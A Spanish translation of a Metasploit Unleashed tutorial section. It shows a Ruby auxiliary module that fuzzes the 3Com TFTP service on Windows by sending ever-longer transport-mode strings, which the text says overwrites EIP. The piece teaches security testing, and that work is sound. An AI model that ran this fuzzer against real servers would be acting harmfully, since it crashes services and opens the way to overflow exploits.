Metasploit Unleashed en Espanol (6.1/17)

11.2.10

Un simple Fuzzer de TFTP

Uno de los aspectos mas poderosos de Metaplsoit es lo facil que se pueden hacer camibios y crear nuevas funciones reusando el codigo existente. Por ejemplo, como esta demostracion de un sencillo codigo de fuzzer, podra hacer algunas modificaciones menores aun existente modulo de Metasploit para crear un modulo de fuzzer. Los cambios pasan en cada incremento al valor de modo de transporte del servicio Windows de 3Com TFTP, y como resultado sobreescribiendo el EIP.

#Metasploit

require 'msf/core'
class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner def initialize super( 'Name' => '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run evil = "A" * count # Set a number of "A"s equal to count pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet print_status("Sending: #{evil}") # Status update resp = udp_sock.get(1) # Capture the response count += 10 # Increase count by 10, and loop end end end


Muy sencillo. Vamos a ejecutarlo y ver que pasa.

Photobucket

Y tenemos un error! El fuzzer funciona de manera inesperada. Mientras que esto puede parecer sencillo a simple vista, una cosa a considerar es el codigo reutilizable que tenemos. En el ejemplo, la estructura del payload es definida por nosotros, ahorrando tiempo, y permitiendonos ir directamente al fuzzing en lugar de investigar el protocolo. Esto es extremadamente potente, y es un beneficio oculto del framework.


© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.